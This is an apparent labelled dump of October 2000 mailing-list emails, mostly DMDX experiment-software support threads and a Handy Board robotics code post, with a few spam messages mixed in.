>From: ""j.c.f."" >Reply-To: DMDX@psy1.psych.arizona.edu >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Re: Setting up the mouse >Date: Wed, 11 Oct 2000 09:57:20 -0700 > >At 09:08 AM 10/11/00 +0000, you wrote: >>Dear friends, >>I have been trying to set up a visual search paradigm using DMDX but when >>I want set the mouse as my input device, I keep receiving this error: >>Button name <+button 2> not found on input devices > > Is that an error or just a warning? The code by default maps responses >for a three button mouse, if it doesn't find the key it simply prints a >message that it couldn't find it. > >>I have included my parameter line so that you could help with what is >>wrong with it: >> N16 f38 d150 >000255000> <+button 2> > > That would be a syntax error. For a start you shouldn't need to specify >anything about <+button 2>, and even if you did it would have to be some >command to unmap it, but the damage is done by that time anyway. You >should be fine, just ignore the message about the missing button. > >>By the way, what should I write to assure requesting to start at the >>beginning of each block? > > Easiest solution when using is to include and instruction at the >beginning of each block with dollars around it to stop it being scrambled: > >$ 0 ""press the spacebar to continue"";$ > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Kovac's Conundrum: >When you dial a wrong number, you never get a busy signal. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 12:47:43 -0700",[DMDX] Re: Setting up the mouse,"At 04:55 PM 10/12/00 +0000, you wrote: >I have a question now and that is: if I have set the mouse as input >device, then it wouldn't be logical to expect the block to start through >pushing the sapcebar on the ""keyboard"". Does DMDX support both devices at >the same time? Yep. >The fact is, everything goes fine and the sentence ""Press spacebar to >start"" appears in the display alright but pushing the spacebar or any >other key (on the keyboard) or any buttons on the mouse won't take any >effect until I stop the DMDX processing by Esc, and then the last line in >the report window clearly denotes the initiation of scrambling and even >the first (randomly chosen) line to be processed is selected and the >corresponding image is buffered. Yep, by default the third mouse button is bound to request, but of course if you've only got a two button mouse there is no third button for request. By default if there are no input devices specified DMDX looks for the keyboard, if you specify any input devices it no longer maps the keyboard unless you specify it as well, ie: >Another problem of mine is that I currently do not have a three-button >mouse. Do you think it would interrupt the item file from being processed? No, there is specific code in the initial default mouse mapping routines that don't throw an error if button 2 isn't found. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 Nabil Saba ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 13:38:39 -0700",[DMDX] Loops and accepting triggers from scanner,"Hi everyone, I have 2 questions. 1- Is DMDX capable of doing loops. I have a block of dmdx code and i need to do it 1000 times. 2- I wrote a code to display 10 frames per second for 5 seconds. I have a picker system that produce 100 RF pulses for 5 seconds. I want to synchronize the two systems. First run the dmdx (10 frames/sec. for 5 seconds)using the computer internal clock and at the same time accepting ""counting"" the RF pulses from the picker system. So, if the computer finished displaying the frames for 5 seconds and the RF pulses coming from the scanner is not complete (100), DMDX will continue displaying the frames until it finishes counting the pulses. ",0,0 """Richard F. Drushel"" ",handyboard@media.mit.edu,"Thu, 12 Oct 2000 17:56:28 +0000",revised msleep() function for standard IC library,"Based upon a student suggestion in our Autonomous Robotiics course Subject: revised msleep() function for standard IC library here at CWRU, I have written a new, multitasking-friendlier version of the msleep() function. The old version was a CPU-intensive busy loop. The new version does an immediate defer() if the sleep timer has not yet expired. void msleep(long msec) { /* replaced 12 October 2000 by RFD, new in v.2.67 */ long end_time; end_time = mseconds() + msec; while (mseconds() < end_time) defer(); /* this is the key change; */ /* no foreground busy-wait */ } Benchmark tests in a 6-process system (1 main(), 4 operating motors with 0.5 second sleeps between each command, 1 incrementing a long counter) showed 300% more throughput for the counter process, with 30% of the over-sleep error time, compared to the old version. That is, over a fixed operating time interval, non-sleeping processes were able to do 3x more work, and the error in the times spent sleeping (always an overage, as the sleep is a *minimum* time) was only 1/3 as great. For sensor-intensive multitasking programs, this is a significant improvement. For single-tasking programs, there does not appear to be significant additional overhead. For Handy Board systems, replace the code in lib_hb.c (or equivalent). For 6.270 systems, replace the code in lib_r22.c (or equivalent). Comments and bug reports are welcome. *Rich*",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 14:47:21 -0700",[DMDX] Re: Loops and accepting triggers from scanner,"At 01:38 PM 10/12/00 -0700, you wrote: >Hi everyone, >I have 2 questions. >1- Is DMDX capable of doing loops. I have a block of dmdx code and i need to >do it 1000 times. Not yet, sorry. There is however no limit on item file size... If it's really a pain I can stick the code in over the next day or two and you can test it if you want. >2- I wrote a code to display 10 frames per second for 5 seconds. I have a >picker system that produce 100 RF pulses for 5 seconds. I want to >synchronize the two systems. >First run the dmdx (10 frames/sec. for 5 seconds)using the computer internal >clock and at the same time accepting ""counting"" the RF pulses from the >picker system. So, if the computer finished displaying the frames for 5 >seconds and the RF pulses coming from the scanner is not complete (100), >DMDX will continue displaying the frames until it finishes counting the >pulses. It is unclear from your explanation exactly what you want, it sounds like you want a contingency in DMDX, something that is very difficult to code as it's only decision making process right now is based on subject error rate. You can get DMDX to be driven by the RF machine assuming the RF machine can produce a TTL level signal or a switch closure -- in either event I recommend opto-isolating the machines. You buy a PIO12 clone (see TimeDX PIO help file) and use one of it's bits as a Request input and make the RF machine drive DMDX that way. But it's an implicit assumption that the number of triggers from the RF machine is the same as the number of items in the itemfile, anything more is going to require a very flexible decision making system to be implemented, something I have yet to settle on a design for as it has not been needed to date and I don't gaily add features to DMDX lightly as reduced complexity is a definite boon. Hell, we have enough trouble documenting it's current abilities. I guess if you really need DMDX to continue doing something for an arbitrary externally controlled interval you could map the external signal to the positive response and get DMDX to loop as long as the error rate is 0%, as soon as the signal stops coming DMDX will timeout and the error rate will be 100% and it will continue. DMDX can be made to trigger other equipment using the PIO12 and the O switch (or the keyword) as well. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 Nabil Saba ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 17:05:20 -0700",[DMDX] Re: Loops and accepting triggers from scanner,"Hi, 1- I need to set a counter or a loop. for example: I want to write a code that accepts 20 times input from a space bar on the keyboard. Is there a counter that i can set to 20 or a loop to use ""like for loop in C++"" instead of writting 0 ""press space"" ; 20 times. Thank you ----- Original Message ----- From: ""Jonathan C. Forster"" To: Sent: Thursday, October 12, 2000 2:47 PM Subject: [DMDX] Re: Loops and accepting triggers from scanner > At 01:38 PM 10/12/00 -0700, you wrote: > >Hi everyone, > >I have 2 questions. > >1- Is DMDX capable of doing loops. I have a block of dmdx code and i need to > >do it 1000 times. > > Not yet, sorry. There is however no limit on item file size... If it's > really a pain I can stick the code in over the next day or two and you can > test it if you want. > > >2- I wrote a code to display 10 frames per second for 5 seconds. I have a > >picker system that produce 100 RF pulses for 5 seconds. I want to > >synchronize the two systems. > >First run the dmdx (10 frames/sec. for 5 seconds)using the computer internal > >clock and at the same time accepting ""counting"" the RF pulses from the > >picker system. So, if the computer finished displaying the frames for 5 > >seconds and the RF pulses coming from the scanner is not complete (100), > >DMDX will continue displaying the frames until it finishes counting the > >pulses. > > It is unclear from your explanation exactly what you want, it sounds > like you want a contingency in DMDX, something that is very difficult to > code as it's only decision making process right now is based on subject > error rate. You can get DMDX to be driven by the RF machine assuming the > RF machine can produce a TTL level signal or a switch closure -- in either > event I recommend opto-isolating the machines. You buy a PIO12 clone (see > TimeDX PIO help file) and use one of it's bits as a Request input and make > the RF machine drive DMDX that way. But it's an implicit assumption that > the number of triggers from the RF machine is the same as the number of > items in the itemfile, anything more is going to require a very flexible > decision making system to be implemented, something I have yet to settle on > a design for as it has not been needed to date and I don't gaily add > features to DMDX lightly as reduced complexity is a definite boon. Hell, > we have enough trouble documenting it's current abilities. I guess if you > really need DMDX to continue doing something for an arbitrary externally > controlled interval you could map the external signal to the positive > response and get DMDX to loop as long as the error rate is 0%, as soon as > the signal stops coming DMDX will timeout and the error rate will be 100% > and it will continue. > DMDX can be made to trigger other equipment using the PIO12 and the O > switch (or the keyword) as well. > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > When things are going well, something will go wrong. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """American Clothing Recycling Co."" ",handyboard@media.mit.edu,"Thu, 12 Oct 2000 17:07:45 -0400",FUNDRAISING MADE SIMPLE FOR ANY GROUP ,"Is your group looking for a simple fund raiser to raise MONEY for that special event??? Please pass this info on to your group's fundraising coordinator; they'll thank you for it. FOR MORE INFO click here: www.americanrecycling.net AOL users click here www.americanrecycling.net Put the ""FUN"" back in fundraising!!!",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 17:25:59 -0700",[DMDX] Re: Loops and accepting triggers from scanner,"This is why creating item files in a spreadsheet like Excel is so nice: type in one item, grab on to the corner of the cell and drag it down for as many identical items as you need. Then copy the cells, past 'em into Wordpad, save it as an "".rtf"" file and your ready to go. Matthew > Hi, > 1- I need to set a counter or a loop. > for example: > I want to write a code that accepts 20 times input from a space bar on the > keyboard. > Is there a counter that i can set to 20 or a loop to use ""like for loop in > C++"" instead of writting 0 ""press space"" ; 20 times. > Thank you > > > ----- Original Message ----- > From: ""Jonathan C. Forster"" > To: > Sent: Thursday, October 12, 2000 2:47 PM > Subject: [DMDX] Re: Loops and accepting triggers from scanner > > > > At 01:38 PM 10/12/00 -0700, you wrote: > > >Hi everyone, > > >I have 2 questions. > > >1- Is DMDX capable of doing loops. I have a block of dmdx code and i need > to > > >do it 1000 times. > > > > Not yet, sorry. There is however no limit on item file size... If > it's > > really a pain I can stick the code in over the next day or two and you can > > test it if you want. > > > > >2- I wrote a code to display 10 frames per second for 5 seconds. I have a > > >picker system that produce 100 RF pulses for 5 seconds. I want to > > >synchronize the two systems. > > >First run the dmdx (10 frames/sec. for 5 seconds)using the computer > internal > > >clock and at the same time accepting ""counting"" the RF pulses from the > > >picker system. So, if the computer finished displaying the frames for 5 > > >seconds and the RF pulses coming from the scanner is not complete (100), > > >DMDX will continue displaying the frames until it finishes counting the > > >pulses. > > > > It is unclear from your explanation exactly what you want, it sounds > > like you want a contingency in DMDX, something that is very difficult to > > code as it's only decision making process right now is based on subject > > error rate. You can get DMDX to be driven by the RF machine assuming the > > RF machine can produce a TTL level signal or a switch closure -- in either > > event I recommend opto-isolating the machines. You buy a PIO12 clone (see > > TimeDX PIO help file) and use one of it's bits as a Request input and make > > the RF machine drive DMDX that way. But it's an implicit assumption that > > the number of triggers from the RF machine is the same as the number of > > items in the itemfile, anything more is going to require a very flexible > > decision making system to be implemented, something I have yet to settle > on > > a design for as it has not been needed to date and I don't gaily add > > features to DMDX lightly as reduced complexity is a definite boon. Hell, > > we have enough trouble documenting it's current abilities. I guess if you > > really need DMDX to continue doing something for an arbitrary externally > > controlled interval you could map the external signal to the positive > > response and get DMDX to loop as long as the error rate is 0%, as soon as > > the signal stops coming DMDX will timeout and the error rate will be 100% > > and it will continue. > > DMDX can be made to trigger other equipment using the PIO12 and the O > > switch (or the keyword) as well. > > > > > > -jonathan (j.c.f.) > > > > /""\\ > > \\ / > > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > > / \\ > > > > When things are going well, something will go wrong. > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > and Ken will then remove you from the list at his earliest > > convenience. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 17:48:41 -0700",[DMDX] Re: Loops and accepting triggers from scanner,"At 05:05 PM 10/12/00 -0700, you wrote: >Hi, >1- I need to set a counter or a loop. >for example: >I want to write a code that accepts 20 times input from a space bar on the >keyboard. >Is there a counter that i can set to 20 or a loop to use ""like for loop in >C++"" instead of writting 0 ""press space"" ; 20 times. >Thank you > > Not yet, sorry. There is however no limit on item file size... Not yet means ""no"". -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why did the Roman Empire collapse? What's the Latin for office automation? ",0,0 Nabil Saba ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 18:16:11 -0700",[DMDX] 20 frames per second,"Hi, I tried to display 20 frames per second for 20 seconds but it took 25 seconds. what is the maximum ""frames per second"" rate. ",0,0 SpeedStyle Account ,handyboard@media.mit.edu,"Thu, 12 Oct 2000 23:34:25 +0100",Help!,"Dear Sir, I desperately need a circuit that can drive a single 4 pole steeper motor, with lcd output. Press button, motor turns 180 degrees LCD display shows ""Flipped"" Press button again motor turns 180 degrees again, display shows ""Trickster Ready"" System runs on 12vdc. Willing to pay good money for person who helps me in my quest for this great project. I can not program very well Can you help? I will expand my spec and the exact needs if you can help me. This project will lead to a nice volume of business from me if you can help. ",0,0 ��K�����Шӡסֵγլ��Q�I�I ,DMDX@psy1.psych.arizona.edu,"Thu, 07 May 1896 17:26:15 +0800",���˸`��ӡA�зdz�§���������F��I�I,0425-edm �� �m�W �� ���O �k �k �� ���� �~ �� �� �� �~�� �� �� �p���q�� �� �����q�� �� ���b�a�� �������� ������ �x�_�� �x�_�� ������ �y���� ������ �s���� �s���� �]���� �x���� �x���� ������ ���q�� ���q�� �n���� ���L�� �x�n�� �x�n�� �x�F�� ������ ������ ���F�� ������ ������ �s���� ���L �� �p��(�l�H)�a�} �� E-mail �� ���K�p������ ���W ���� �U�� ���W ���i DrMail���h�q�l���������P�@�����q�\\,1,1 Britney Sours ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 20:51:29 -0800",Good effects of Ephedra on your body,"may horus ! adventure may discriminant may cinderella and mollycoddle ",1,0 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 15:12:16 +0200",[DMDX] WrongTiming,"Hello EveryBody, Hope you have good weather The following code should run for 16s (images are bmp 241K) 250 ""image1""/; 250 ""image2""/; +001 *""image3""/; 250 ""image4""/; And in fact it is running for 30s !!! ... and something delays in between images are inconsistent (few 10s) ?? Thus what is the maximum for ms% to bet set ? What are Preparation A , B times (respectively 150ms and 15ms)? How to really contro refresh timing and interframe time? Is it possible two prepare and switch between pages ?? Thanks for help Jean-Francois Jean-Francois Nedelec, Ph.D. FORENAP Association MR-Center 27, rue du 4ème RSM F-68250 Rouffach France Fax: (33) 3 89 78 51 24 Phone: (33) 3 89 78 71 70 dir (33) 3 89 78 71 65 sec. MRI (33) 3 89 78 70 18 sec. General (33) 3 89 78 70 18 (ask 67 51) MRI Room Email: jnedelec@forenap.asso.fr",0,0 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 15:26:48 +0200",[DMDX] Re:Loops-trigger,"""Jonathan C. Forster"" wrote: > At 01:38 PM 10/12/00 -0700, you wrote: > >Hi everyone, > >I have 2 questions. > >1- Is DMDX capable of doing loops. I have a block of dmdx code and i need to > >do it 1000 times. > > Not yet, sorry. There is however no limit on item file size... If it's > really a pain I can stick the code in over the next day or two and you can > test it if you want. > > >2- I wrote a code to display 10 frames per second for 5 seconds. I have a > >picker system that produce 100 RF pulses for 5 seconds. I want to > >synchronize the two systems. > >First run the dmdx (10 frames/sec. for 5 seconds)using the computer internal > >clock and at the same time accepting ""counting"" the RF pulses from the > >picker system. So, if the computer finished displaying the frames for 5 > >seconds and the RF pulses coming from the scanner is not complete (100), > >DMDX will continue displaying the frames until it finishes counting the > >pulses. > > It is unclear from your explanation exactly what you want, it sounds > like you want a contingency in DMDX, something that is very difficult to > code as it's only decision making process right now is based on subject > error rate. You can get DMDX to be driven by the RF machine assuming the > RF machine can produce a TTL level signal or a switch closure -- in either > event I recommend opto-isolating the machines. You buy a PIO12 clone (see > TimeDX PIO help file) and use one of it's bits as a Request input and make > the RF machine drive DMDX that way. But it's an implicit assumption that > the number of triggers from the RF machine is the same as the number of > items in the itemfile, anything more is going to require a very flexible > decision making system to be implemented, something I have yet to settle on > a design for as it has not been needed to date and I don't gaily add > features to DMDX lightly as reduced complexity is a definite boon. Hell, > we have enough trouble documenting it's current abilities. I guess if you > really need DMDX to continue doing something for an arbitrary externally > controlled interval you could map the external signal to the positive > response and get DMDX to loop as long as the error rate is 0%, as soon as > the signal stops coming DMDX will timeout and the error rate will be 100% > and it will continue. > DMDX can be made to trigger other equipment using the PIO12 and the O > switch (or the keyword) as well. > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > When things are going well, something will go wrong. > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== Just 2 comments : 1- I would be in fact useful to have DMDX accepting loop This could done in two ways : - either just have loop x time ......... done (means do exactly the some display for x times) - or having somehow WITHCONDITIONS "" conditions"" WITHDATA ""images"" #1 * ""#2>/; DATA ""images"" ""image1"" ""image2"" ""image3"" Conditions ""conditions"" ""+001"" ""-002"" ""-003"" But this wil be probably to much work . Multiplying lines is not that much a problem if not making timing wrong !!! 2- I got the answer for trigerring with you present answer as well as from Mike Ford. Thanks you Regards INSTITUTE FOR RESEARCH IN NEUROSCIENCE AND PSYCHIATRY Jean-Francois Nedelec, Ph.D. FORENAP Association MR-Center 27, rue du 4ème RSM F-68250 Rouffach France Fax: (33) 03 89 78 51 24 Phone: (33) 03 89 78 71 70 dir. (33) 03 89 78 71 65 sec. MRI (33) 03 89 78 70 18 sec. General (33)0 3 89 78 70 18 (ask 67 51) MRI Room Email: jnedelec@forenap.asso.fr",0,1 larowe@darwin.psy.fsu.edu,DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 12:09:43 -0400",[DMDX] Re: syncing audio with PIO 12 output,"Dear sir: We tried this code you mailed us: 0 ""file"" o0 / o255; I believe the ""o0"" is supposed to read ""%0"". I assume the o255 is supposed to represent the trigger that goes out to the EEG machine. We tried this code, but it still appears that the trigger occurs after the sound is done playing, as indicated by the fact that are N100s appear to occur about 50ms too early. According to the help documentation, this code should work. However, it occurs to me that perhaps the mess up is due to the fact that the wave file is 50ms in duration, whereas the default frame duration (near as I can figure) is 1 tick. I'm not sure of default frame duration, since I'm new to DMDX, but I assume that in my parameter line the ""f1"" indicates the default frame duration parameter. It appears in my parameter line like this: f1 (etc. etc.) My thinking is that I can change this default to something higher, say f5, and then my wav files will not exceed the default duration, and the wave file should then be simultaneously presented with the trigger. How does this sound? Steve LaRowe Kline Lab Flordia State University",0,0 David Howard ,DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 17:15:30 -0000",[DMDX] Re: Default for wav files,Might it be possible for the command to default to binaural presentation when used without a parameter? At the moment it defaults to left ear presentation which seems a little odd. David Howard,0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 09:16:18 -0700",[DMDX] Re: syncing audio with PIO 12 output,"At 12:09 PM 10/13/00 -0400, you wrote: >Dear sir: > >We tried this code you mailed us: > >0 ""file"" o0 / o255; > >I believe the ""o0"" is supposed to read ""%0"". I assume the o255 is supposed >to represent the trigger that goes out to the EEG machine. I don't think so. I'll bet that ""o0"" is meant to be ""o0"". It means that you output ""0"" first (to clear everything), so that the ""255"" on the next frame is recognized. --KIF",0,0 """John P. Kline"" ","DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu","Fri, 13 Oct 2000 12:56:06 -0400",[DMDX] Re: syncing audio with PIO 12 output,"Ken, Thanks for the reply to Steve's query. Our problem is that we are trying to time lock a trigger to a 50 msec wav file, and the trigger still appears to be going out after the sound file has completed. Here is the parameter line of the file: f1 # and here are some of the items: 1 o0 g""blank""/ / ""white104"" %0 / o104/; 20 o0 g""dia_er"" o10/; 30 o0 g""blank""/; 40 o0 g""tri"" o10/ o0/ ""white104"" %0 / o104/; Note that the program is set up to: 1.) present a graphics file, and 2.) at some point after the onset of the graphics file, simultaneous present a wav file. We are also triggering to some of the graphics files as well. Any insight that you might have about possible errors in our code would be most appreciated. We are all fairly new to DMDX. thanks, John Kline At 09:16 AM 10/13/00 -0700, Kenneth Forster wrote: >At 12:09 PM 10/13/00 -0400, you wrote: >>Dear sir: >> >>We tried this code you mailed us: >> >>0 ""file"" o0 / o255; >> >>I believe the ""o0"" is supposed to read ""%0"". I assume the o255 is supposed >>to represent the trigger that goes out to the EEG machine. > I don't think so. I'll bet that ""o0"" is meant to be ""o0"". It >means that you output ""0"" first (to clear everything), so that the ""255"" on >the next frame is recognized. > > --KIF > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ___________________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________________",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 06:30:25 -0700",[DMDX] counters,"Ok, I'm going to add counters to DMDX 2.2.00. New keywords will include: turn on branching diagnostics in .zil or .azk output set counter N1 to value N2 increment counter N1 decrement counter N1 branch to item N2 if counter N1 less than or equal to 0 branch to item N2 if counter N1 greater than 0 I'm not going to be adding conditional decrements or increments as they are messy to implement (requiring flags to be set for tests once the RT has been gathered), if people need them existing branching can be combined with or . -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why did the Roman Empire collapse? What's the Latin for office automation?",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 10:03:05 -0700",[DMDX] Re: 20 frames per second,"At 06:16 PM 10/12/00 -0700, you wrote: >Hi, I tried to display 20 frames per second for 20 seconds but it took 25 >seconds. what is the maximum >""frames per second"" rate. It should be whatever your monitor is running at. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why did the Roman Empire collapse? What's the Latin for office automation? ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 10:07:59 -0700",[DMDX] Re: WrongTiming,"At 03:12 PM 10/13/00 +0200, you wrote: >Hello EveryBody, Hope you have good weather > >The following code should run for 16s (images are bmp 241K) >250 ""image1""/; >250 ""image2""/; >+001 *""image3""/; >250 ""image4""/; >And in fact it is running for 30s !!! ... and something delays in >between images are inconsistent (few 10s) ?? Unless you've overridden the default delay after each item there will be a delay of something like 1/2 a second. the blank frame the end also adds another tick but that's not the right order of magnitude for your error. relies on how well you have timed the display retrace rate, if that's wrong ms% will be wrong too. >Thus what is the maximum for ms% to bet set ? No limit. >What are Preparation A , B times (respectively 150ms and 15ms)? See the help file under Errors you might encounter (not that they are errors). >How to really contro refresh timing and interframe time? >Is it possible two prepare and switch between pages ?? That's what DMDX does. How about reading the help file, the bit about how DMDX operates? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why did the Roman Empire collapse? What's the Latin for office automation?",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 10:09:37 -0700",[DMDX] Re: Default for wav files,"At 05:15 PM 10/13/00 +0000, you wrote: >Might it be possible for the command to default to binaural >presentation when used without a parameter? >At the moment it defaults to left ear presentation which seems a >little odd. No defaults will ever be changed. It defaults to the left ear because since antiquity that has been the default. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why did the Roman Empire collapse? What's the Latin for office automation?",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 10:21:54 -0700",[DMDX] Re: syncing audio with PIO 12 output,"At 12:56 PM 10/13/00 -0400, you wrote: >Ken, > >Thanks for the reply to Steve's query. Our problem is that we are trying >to time lock a trigger to a 50 msec wav file, and the trigger still appears >to be going out after the sound file has completed. > >Here is the parameter line of the file: > > f1 # > 000000000> > >and here are some of the items: > >1 o0 g""blank""/ / ""white104"" %0 / > o104/; >20 o0 g""dia_er"" o10/; >30 o0 g""blank""/; >40 o0 g""tri"" o10/ o0/ ""white104"" >%0 / o104/; > >Note that the program is set up to: 1.) present a graphics file, and 2.) at >some point after the onset of the graphics file, simultaneous present a wav >file. We are also triggering to some of the graphics files as well. > >Any insight that you might have about possible errors in our code would be >most appreciated. We are all fairly new to DMDX. Start with something simple, a couple of simple things, get the graphics right by themselves then get the audio right by itself then try adding codes. You might try getting a wav file to play simultaneously with a visual probe, then stick the code in the frame that displays the visual probe. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why did the Roman Empire collapse? What's the Latin for office automation?",0,0 XVA International ,"""int10132@rediffmail.com"" ","Fri, 13 Oct 2000 17:42:48 -0000",,"WOULD YOU STUFF ENVELOPES FOR $1,000'S WEEKLY? $2 For Each Envelope You Stuff SIMPLE, PLEASANT WORK YOU CAN DO AT HOME!!! HELP SOLVE YOUR MONEY PROBLEMS. No more worries over inflation, recession, bills, rising gasoline and other costs. If you are looking for easy extra income, to relieve financial pressures, you owe it to yourself to investigate our offer. HERE IS YOUR CHANCE to earn extra money working at home by becoming an active participant of our successful mailing association. You receive cash daily for the envelopes you stuff. There is no limit. You stuff as many as you wish. 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In the dialog box, after I run the stimuli, it reads: 24 video memory buffer at 640X480 8 bpp, suggesting it's not using the recommended 16 bit video mode (when I double check Video mode selection, it defaults to the 1024X768 16 bit 65536 color RGB I originally selected). What do I need to do so that it will run the video mode I have selected? Thanks. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 12:20:38 -0700",[DMDX] counters,"Ok, there will be conditional increments and decrements, I've found a way to do it without too much inelegance. Means there will be things like: decrement counter N1 if response correct decrement counter N1 if response wrong decrement counter N1 if response no response increment counter N1 if response correct increment counter N1 if response wrong increment counter N1 if response no response -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 12:22:36 -0700",[DMDX] Re: Displaying .bmp files,"At 12:14 PM 10/13/00 -0700, you wrote: >I'm attempting to display two .bmp files simulatneously; when displayed >on DMDX, the quality of the pictures becomes quite poor. I'm aware of >the recommendation to use 16 bit 65535 color modes; in the video mode, I >have selected 1024X768 16 bit 65536 color RGB. When I ""do test"" w/ the >same bitmap that I'm presenting in DMDX, the display is perfect. In the >dialog box, after I run the stimuli, it reads: 24 video memory buffer >at 640X480 8 bpp, suggesting it's not using the recommended 16 bit video >mode (when I double check Video mode selection, it defaults to the >1024X768 16 bit 65536 color RGB I originally selected). > >What do I need to do so that it will run the video mode I have selected? in the item file parameter line. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 Nabil Saba ,DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 12:37:34 -0700",[DMDX] Timing,"Hi, My computer refresh rate is 16ms. I want to display 2 different images one by one ""like a loop"" for 30 seconds. The code will display the frames16 times per second for 30 seconds. I used the following: 0 %4 ""image1"" ; 0 %4 ""image2"" ; did it 240 times. but the timing is not coming right. i want each image to be displayed 64ms and no delay time. i used . so, 64ms ""each frame duration"" * 480 ""for both images"" = 30720ms = 30sec. i'm getting total time of 40 sec. the program is displaying 10 frames per second not 16. Any suggestions. Thank you 3072",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 13:09:17 -0700",[DMDX] test," Testing to see if the listserver is still functioning after John J. Curtin's 11meg post crashed it... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 13 Oct 2000 13:18:03 -0700",[DMDX] Re: Timing,"At 12:37 PM 10/13/00 -0700, you wrote: >Hi, My computer refresh rate is 16ms. I want to display 2 different images >one by one ""like a loop"" for 30 seconds. The code will display the frames16 >times per second for 30 seconds. I used the following: >0 %4 ""image1"" ; >0 %4 